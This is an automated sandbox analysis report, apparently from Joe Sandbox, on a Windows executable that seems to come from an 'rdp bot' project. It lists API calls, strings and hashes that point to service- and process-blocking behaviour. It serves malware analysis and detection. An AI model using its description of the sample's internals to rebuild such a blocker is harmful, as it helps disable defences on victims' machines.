API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d93f75fe62b5d066bb1a3d92e36f140eac5fcecea37a8835d89b2688be319dec
Instruction ID: 42c62d54d1ca80df244572d2250d49a4e48d2af1a4e11cc88891e319d730dc5d
Opcode Fuzzy Hash: d93f75fe62b5d066bb1a3d92e36f140eac5fcecea37a8835d89b2688be319dec
Instruction Fuzzy Hash: C7C08C3060A2004BDB0C6B38D8A9B1B3AE0FB8C300FA0552DF18BC2290C97EC4828786

Analysis Process: lr75sq5smrngkif9fpn.exePID: 7172, Parent PID: 6132COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.2%
Total number of Nodes:	1683
Total number of Limit Nodes:	8

Executed Functions

Function 00007FF7E3CE8CFC Relevance: 40.5, APIs: 9, Strings: 14, Instructions: 281
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E3CE9BB9: strcmp.MSVCRT ref: 00007FF7E3CE9CAD

Part of subcall function 00007FF7E3CE1CF4: LoadLibraryA.KERNEL32 ref: 00007FF7E3CE1D02

FreeLibrary.KERNEL32 ref: 00007FF7E3CE8DAC

Part of subcall function 00007FF7E3CE1C73: GetProcAddress.KERNEL32 ref: 00007FF7E3CE1C93

strlen.MSVCRT ref: 00007FF7E3CE8EEF
GetProcessHeap.KERNEL32 ref: 00007FF7E3CE8F6B
HeapAlloc.KERNEL32 ref: 00007FF7E3CE8F7C
BuildTrusteeWithSidW.ADVAPI32 ref: 00007FF7E3CE9010

Part of subcall function 00007FF7E3CE14E2: fwrite.MSVCRT ref: 00007FF7E3CE158E
Part of subcall function 00007FF7E3CE14E2: fflush.MSVCRT ref: 00007FF7E3CE159A

BuildSecurityDescriptorW.ADVAPI32 ref: 00007FF7E3CE905D
GetProcessHeap.KERNEL32 ref: 00007FF7E3CE90F2
HeapFree.KERNEL32 ref: 00007FF7E3CE9103
LocalFree.KERNEL32 ref: 00007FF7E3CE91E4

Part of subcall function 00007FF7E3CE14E2: EnterCriticalSection.KERNEL32 ref: 00007FF7E3CE15B3
Part of subcall function 00007FF7E3CE14E2: LeaveCriticalSection.KERNEL32 ref: 00007FF7E3CE15DB
Part of subcall function 00007FF7E3CE14E2: CopyFileA.KERNEL32 ref: 00007FF7E3CE1638

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7E3CE90B3
[E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu), xrefs: 00007FF7E3CE9077
[E] (%s) -> RtlAnsiStringToUnicodeString failed(res=%08lx), xrefs: 00007FF7E3CE8E38
RtlCreateServiceSid, xrefs: 00007FF7E3CE8DB7
[E] (%s) -> RtlCreateServiceSid failed(res=%08lx), xrefs: 00007FF7E3CE8E52, 00007FF7E3CE90D3
ntdll.dll, xrefs: 00007FF7E3CE8D5F
block_svc, xrefs: 00007FF7E3CE8E31, 00007FF7E3CE8E4B, 00007FF7E3CE9070, 00007FF7E3CE90CC, 00007FF7E3CE91F2
RtlCopyMemory, xrefs: 00007FF7E3CE8E09
RtlZeroMemory, xrefs: 00007FF7E3CE8DF1
svc, xrefs: 00007FF7E3CE8D2C
mem_alloc, xrefs: 00007FF7E3CE90AC
[I] (%s) -> Done(svc_name=%s), xrefs: 00007FF7E3CE91F9
RtlAnsiStringToUnicodeString, xrefs: 00007FF7E3CE8D73
RtlFreeUnicodeString, xrefs: 00007FF7E3CE8DD4

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: Heap$Free$BuildCriticalLibraryProcessSection$AddressAllocCopyDescriptorEnterFileLeaveLoadLocalProcSecurityTrusteeWithfflushfwritestrcmpstrlen
String ID: RtlAnsiStringToUnicodeString$RtlCopyMemory$RtlCreateServiceSid$RtlFreeUnicodeString$RtlZeroMemory$[E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$[E] (%s) -> RtlAnsiStringToUnicodeString failed(res=%08lx)$[E] (%s) -> RtlCreateServiceSid failed(res=%08lx)$[I] (%s) -> Done(svc_name=%s)$block_svc$mem_alloc$ntdll.dll$svc
API String ID: 3039259412-1782951725
Opcode ID: 6e9baee691a7f56f21bdd07bbdaf21b6c270e43383445d7bf84017090ebc1146
Instruction ID: 1771f2204068521a4264e28a06702349754b7e8c0903af5521841fc52251ef0c
Opcode Fuzzy Hash: 6e9baee691a7f56f21bdd07bbdaf21b6c270e43383445d7bf84017090ebc1146
Instruction Fuzzy Hash: 43D15E21A4C78381FBA0AB12E4503B9BAA0BB44744F904133DA4DA67F5DE7DE945D723

Function 00007FF7E3CE855D Relevance: 31.9, APIs: 10, Strings: 8, Instructions: 393COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E3CE9BB9: strcmp.MSVCRT ref: 00007FF7E3CE9CAD

Process32Next.KERNEL32 ref: 00007FF7E3CE8671
GetLastError.KERNEL32 ref: 00007FF7E3CE867D
GetLastError.KERNEL32 ref: 00007FF7E3CE86C1
GetLastError.KERNEL32 ref: 00007FF7E3CE87A3
OpenProcess.KERNEL32 ref: 00007FF7E3CE88DC
QueryFullProcessImageNameW.KERNEL32 ref: 00007FF7E3CE8920
GetLastError.KERNEL32 ref: 00007FF7E3CE892E
CloseHandle.KERNEL32 ref: 00007FF7E3CE8CA8

Strings

[I] (%s) -> Done(szExeFile=%s,th32ProcessID=%d), xrefs: 00007FF7E3CE8A32
[E] (%s) -> CreateToolhelp32Snapshot failed(gle=%lu), xrefs: 00007FF7E3CE86D3
[E] (%s) -> OpenProcess failed(szExeFile=%s,gle=%lu), xrefs: 00007FF7E3CE8A8F
[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF7E3CE8694
[E] (%s) -> Process32First failed(gle=%lu), xrefs: 00007FF7E3CE87BE
[E] (%s) -> QueryFullProcessImageNameW failed(gle=%lu), xrefs: 00007FF7E3CE8940
app, xrefs: 00007FF7E3CE858D
block_app, xrefs: 00007FF7E3CE868D, 00007FF7E3CE86CC, 00007FF7E3CE87B7, 00007FF7E3CE8939, 00007FF7E3CE8A2B, 00007FF7E3CE8A88

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: ErrorLast$Process$CloseFullHandleImageNameNextOpenProcess32Querystrcmp
String ID: [E] (%s) -> CreateToolhelp32Snapshot failed(gle=%lu)$[E] (%s) -> OpenProcess failed(szExeFile=%s,gle=%lu)$[E] (%s) -> Process32First failed(gle=%lu)$[E] (%s) -> Process32Next failed(gle=%lu)$[E] (%s) -> QueryFullProcessImageNameW failed(gle=%lu)$[I] (%s) -> Done(szExeFile=%s,th32ProcessID=%d)$app$block_app
API String ID: 1025937399-1899507746
Opcode ID: 1ed3de061666447cae0baa0fc6ff6d421445239b67af7976eba0ec9335f99bcd
Instruction ID: b9f8a85662ff99a06f78256079d0701aaf7308f9e40e8a4b9d69d797e8050618
Opcode Fuzzy Hash: 1ed3de061666447cae0baa0fc6ff6d421445239b67af7976eba0ec9335f99bcd
Instruction Fuzzy Hash: 8AF14A51F8C71782FAF07756A490378BA94AF45B54FD00233C60EA62F5CE7DE881A227

Function 00007FF7E3CE1131 Relevance: 13.6, APIs: 9, Instructions: 120
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF7E3CE1313), ref: 00007FF7E3CE116E
_amsg_exit.MSVCRT(?,?,?,00007FF7E3CE1313), ref: 00007FF7E3CE118D
_initterm.MSVCRT ref: 00007FF7E3CE11AE
_initterm.MSVCRT ref: 00007FF7E3CE11D3
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7E3CE1212
malloc.MSVCRT ref: 00007FF7E3CE1244
strlen.MSVCRT ref: 00007FF7E3CE125C
malloc.MSVCRT ref: 00007FF7E3CE1268
_cexit.MSVCRT(?,?,?,00007FF7E3CE1313), ref: 00007FF7E3CE12E3

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: _inittermmalloc$ExceptionFilterSleepUnhandled_amsg_exit_cexitstrlen
String ID:
API String ID: 3714283218-0
Opcode ID: 2813f3856443894ab469f366167a80d9e07d419bf14478a7c388344116e67307
Instruction ID: 455a0688751c8791972cd63dbb945a518289fd44a51eeb42f8bf9759c2d7540c
Opcode Fuzzy Hash: 2813f3856443894ab469f366167a80d9e07d419bf14478a7c388344116e67307
Instruction Fuzzy Hash: 14513329A8864685EBD0BB12E860779EBE0AF44B44F855137CD0DA73F1DE3CE4609763

Function 00007FF7E3CE45D5 Relevance: 72.0, APIs: 24, Strings: 17, Instructions: 298
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fopen.MSVCRT ref: 00007FF7E3CE461A
fseek.MSVCRT ref: 00007FF7E3CE4639
_errno.MSVCRT ref: 00007FF7E3CE464D
_errno.MSVCRT ref: 00007FF7E3CE4668
_errno.MSVCRT ref: 00007FF7E3CE4727

Part of subcall function 00007FF7E3CE14E2: fwrite.MSVCRT ref: 00007FF7E3CE158E
Part of subcall function 00007FF7E3CE14E2: fflush.MSVCRT ref: 00007FF7E3CE159A

_errno.MSVCRT ref: 00007FF7E3CE4742
_errno.MSVCRT ref: 00007FF7E3CE478F
fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE46A4, 00007FF7E3CE46D7, 00007FF7E3CE470A
[E] (%s) -> ftell failed(path=%s,errno=%d), xrefs: 00007FF7E3CE4841
mem_alloc, xrefs: 00007FF7E3CE49F4
[I] (%s) -> Done(path=%s,buf_sz=%llu), xrefs: 00007FF7E3CE4BAF
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7E3CE49FB
[E] (%s) -> fseek(SEEK_SET) failed(path=%s,errno=%d), xrefs: 00007FF7E3CE4957
(buf_sz != NULL), xrefs: 00007FF7E3CE46C9
[E] (%s) -> fread failed(path=%s,errno=%d), xrefs: 00007FF7E3CE4A22
[E] (%s) -> fseek(SEEK_END) failed(path=%s,errno=%d), xrefs: 00007FF7E3CE465C
fs_file_read, xrefs: 00007FF7E3CE4655, 00007FF7E3CE469D, 00007FF7E3CE46D0, 00007FF7E3CE4703, 00007FF7E3CE472F, 00007FF7E3CE483A, 00007FF7E3CE4950, 00007FF7E3CE4A1B, 00007FF7E3CE4ADA, 00007FF7E3CE4B65, 00007FF7E3CE4BA8
(((*buf) == NULL) || ((*buf_sz) > 0)), xrefs: 00007FF7E3CE46FC
[E] (%s) -> fread undone(path=%s,l=%ld,n=%ld), xrefs: 00007FF7E3CE4AE1
[E] (%s) -> fopen failed(path=%s,errno=%d), xrefs: 00007FF7E3CE4736
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE468F, 00007FF7E3CE46C2, 00007FF7E3CE46F5
(path != NULL), xrefs: 00007FF7E3CE4696
NULL, xrefs: 00007FF7E3CE4B99

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: _errno$fclosefflushfopenfseekfwrite
String ID: (((*buf) == NULL) || ((*buf_sz) > 0))$(buf_sz != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[E] (%s) -> fopen failed(path=%s,errno=%d)$[E] (%s) -> fread failed(path=%s,errno=%d)$[E] (%s) -> fread undone(path=%s,l=%ld,n=%ld)$[E] (%s) -> fseek(SEEK_END) failed(path=%s,errno=%d)$[E] (%s) -> fseek(SEEK_SET) failed(path=%s,errno=%d)$[E] (%s) -> ftell failed(path=%s,errno=%d)$[I] (%s) -> Done(path=%s,buf_sz=%llu)$fs_file_read$mem_alloc
API String ID: 2897271634-4120527733
Opcode ID: f9c10c2996a5af623a9f831bd9c4aaf4b69e569eb9c4efce4151118f17c367f6
Instruction ID: ad61715c2a0c55316088d65c239798af783427032aa40f830b940eef96726b3b
Opcode Fuzzy Hash: f9c10c2996a5af623a9f831bd9c4aaf4b69e569eb9c4efce4151118f17c367f6
Instruction Fuzzy Hash: B9D18322A88A0791FA90BB56E850378AF91BF40795FD55233D90DB73F0DE3CE4569322

Function 00007FF7E3CE433B Relevance: 31.6, APIs: 8, Strings: 10, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fopen.MSVCRT ref: 00007FF7E3CE4363
_errno.MSVCRT ref: 00007FF7E3CE444F
_errno.MSVCRT ref: 00007FF7E3CE4470
fwrite.MSVCRT ref: 00007FF7E3CE44E4

Strings

[E] (%s) -> Failed(path=%s,mode=%s,err=%08x), xrefs: 00007FF7E3CE43CC
[E] (%s) -> fwrite failed(path=%s,mode=%s,errno=%d), xrefs: 00007FF7E3CE4514
(mode != NULL), xrefs: 00007FF7E3CE4424
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE4402, 00007FF7E3CE4432
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE43ED, 00007FF7E3CE441D
[E] (%s) -> fopen failed(path=%s,mode=%s,errno=%d), xrefs: 00007FF7E3CE4464
[I] (%s) -> Done(path=%s,mode=%s,buf_sz=%llu), xrefs: 00007FF7E3CE45C4
(path != NULL), xrefs: 00007FF7E3CE43F4
NULL, xrefs: 00007FF7E3CE459A, 00007FF7E3CE45A6
fs_file_write, xrefs: 00007FF7E3CE43C5, 00007FF7E3CE43FB, 00007FF7E3CE442B, 00007FF7E3CE445D, 00007FF7E3CE450D, 00007FF7E3CE45BD

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: _errno$fopenfwrite
String ID: (mode != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,mode=%s,err=%08x)$[E] (%s) -> fopen failed(path=%s,mode=%s,errno=%d)$[E] (%s) -> fwrite failed(path=%s,mode=%s,errno=%d)$[I] (%s) -> Done(path=%s,mode=%s,buf_sz=%llu)$fs_file_write
API String ID: 1336347884-544371937
Opcode ID: fd71ba3db7f327798de58cdc59b1f8f8ea9ece55cf0b0fbe97b514d8da62ca52
Instruction ID: edbe0b80c426c4a37aaa9cd24e444dc92e80ea0e8879337cfdbaabf590098be6
Opcode Fuzzy Hash: fd71ba3db7f327798de58cdc59b1f8f8ea9ece55cf0b0fbe97b514d8da62ca52
Instruction Fuzzy Hash: 88518162A8864391FA90BB56D9503B8EB91AF40794FD84233D91DA73F0DF3CE5169332

Function 00007FF7E3CE168C Relevance: 29.9, APIs: 8, Strings: 9, Instructions: 139
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF7E3CE16AC
GetLastError.KERNEL32 ref: 00007FF7E3CE17E0

Part of subcall function 00007FF7E3CE19C0: GetModuleHandleExA.KERNEL32 ref: 00007FF7E3CE19DE

strlen.MSVCRT ref: 00007FF7E3CE16FE
strlen.MSVCRT ref: 00007FF7E3CE171A
strcat.MSVCRT ref: 00007FF7E3CE1735
strlen.MSVCRT ref: 00007FF7E3CE173D
strlen.MSVCRT ref: 00007FF7E3CE1752
fopen.MSVCRT ref: 00007FF7E3CE1778

Strings

[E] (%s) -> Failed(err=%08x), xrefs: 00007FF7E3CE17CA
debug_init, xrefs: 00007FF7E3CE179E, 00007FF7E3CE17C3, 00007FF7E3CE17EB, 00007FF7E3CE18B0, 00007FF7E3CE1924
Done, xrefs: 00007FF7E3CE191D
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF7E3CE17F2
log, xrefs: 00007FF7E3CE1767
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF7E3CE18B7
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF7E3CE17A5
[I] (%s) -> %s, xrefs: 00007FF7E3CE192B
wfpblk.l, xrefs: 00007FF7E3CE175A

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$log$wfpblk.l
API String ID: 3395718042-2291025694
Opcode ID: 8162a81c9e43a89fbec366be30bd812177f940d51fad0d5cb0870f2ffc37eb56
Instruction ID: 1e349780b27fa5f43144e0234d9cfa0ea85d5ddf858999501c63460fff3c59cf
Opcode Fuzzy Hash: 8162a81c9e43a89fbec366be30bd812177f940d51fad0d5cb0870f2ffc37eb56
Instruction Fuzzy Hash: 17516165E8C60382F7A07B42E4903B8DA91AF04744FD45233C50EA62F2DE7CE965E363

Function 00007FF7E3CE5E6F Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 199
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32 ref: 00007FF7E3CE5EC7
LockFileEx.KERNEL32 ref: 00007FF7E3CE5F00
GetLastError.KERNEL32 ref: 00007FF7E3CE5FD5
GetLastError.KERNEL32 ref: 00007FF7E3CE60BA
CloseHandle.KERNEL32 ref: 00007FF7E3CE622E

Strings

(lock != NULL), xrefs: 00007FF7E3CE5FB1
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE5F5B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE5F8F, 00007FF7E3CE5FBF
[E] (%s) -> CreateFileA failed(path=%s,gle=%lu), xrefs: 00007FF7E3CE5FEA
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE5F7A, 00007FF7E3CE5FAA
[E] (%s) -> LockFileEx failed(path=%s,gle=%lu), xrefs: 00007FF7E3CE60CF
fs_file_lock, xrefs: 00007FF7E3CE5F54, 00007FF7E3CE5F88, 00007FF7E3CE5FB8, 00007FF7E3CE5FE3, 00007FF7E3CE60C8, 00007FF7E3CE624B
(path != NULL), xrefs: 00007FF7E3CE5F81
[I] (%s) -> Done(path=%s,lock=%p), xrefs: 00007FF7E3CE6252
NULL, xrefs: 00007FF7E3CE6239

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleLock
String ID: (lock != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateFileA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> LockFileEx failed(path=%s,gle=%lu)$[I] (%s) -> Done(path=%s,lock=%p)$fs_file_lock
API String ID: 2747014929-530486279
Opcode ID: e4f34f73a7c2b9193ad35b742d97c622cba79fc7e1d163be5dbedb326e79ab52
Instruction ID: 1720312d96d056508157fcdd2878870620ce6e5d0deab6309d6083de66d0d18a
Opcode Fuzzy Hash: e4f34f73a7c2b9193ad35b742d97c622cba79fc7e1d163be5dbedb326e79ab52
Instruction Fuzzy Hash: 92817E11D9C30B81FAB0B712A950378BA605F00355FD40333D96EA66F2EE7DE995A323

Function 00007FF7E3CE97F2 Relevance: 25.7, APIs: 7, Strings: 10, Instructions: 241
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7E3CE983D
HeapFree.KERNEL32 ref: 00007FF7E3CE984E

Part of subcall function 00007FF7E3CE45D5: fopen.MSVCRT ref: 00007FF7E3CE461A
Part of subcall function 00007FF7E3CE45D5: fseek.MSVCRT ref: 00007FF7E3CE4639
Part of subcall function 00007FF7E3CE45D5: _errno.MSVCRT ref: 00007FF7E3CE464D
Part of subcall function 00007FF7E3CE45D5: _errno.MSVCRT ref: 00007FF7E3CE4668

GetProcessHeap.KERNEL32 ref: 00007FF7E3CE997A
HeapAlloc.KERNEL32 ref: 00007FF7E3CE998B
strncpy.MSVCRT ref: 00007FF7E3CE9ACC
strncpy.MSVCRT ref: 00007FF7E3CE9AE3
strncpy.MSVCRT ref: 00007FF7E3CE9B42

Part of subcall function 00007FF7E3CE14E2: fwrite.MSVCRT ref: 00007FF7E3CE158E
Part of subcall function 00007FF7E3CE14E2: fflush.MSVCRT ref: 00007FF7E3CE159A

Strings

ini_load, xrefs: 00007FF7E3CE987F, 00007FF7E3CE98BB, 00007FF7E3CE9BA1
(path != NULL), xrefs: 00007FF7E3CE98B4
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE9886
5, xrefs: 00007FF7E3CE98A5
mem_alloc, xrefs: 00007FF7E3CE99D3
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF7E3CE98AD
NULL, xrefs: 00007FF7E3CE9B92
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7E3CE99DA
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE98C2
[I] (%s) -> Done(path=%s), xrefs: 00007FF7E3CE9BA8

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: Heap$strncpy$Process_errno$AllocFreefflushfopenfseekfwrite
String ID: (path != NULL)$5$C:/Projects/rdp/bot/codebase/ini.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(path=%s)$ini_load$mem_alloc
API String ID: 1423203057-2746879330
Opcode ID: e29854694c0f8539840e8829ac9a0304c53863f31d6bfdd38f35223ef1fc52e9
Instruction ID: a5b04b025db4de8cf3cfbd70045b9473ec159d1be8450e70ec71f4d00cc42f0e
Opcode Fuzzy Hash: e29854694c0f8539840e8829ac9a0304c53863f31d6bfdd38f35223ef1fc52e9
Instruction Fuzzy Hash: 27A1E862A4D68281EAA0AB02E4507B9AF60BF40784FC44133DE4DA77F1DE7CE545D323

Function 00007FF7E3CE9195 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 111
memorystringCOMMON

Download Yara Rule

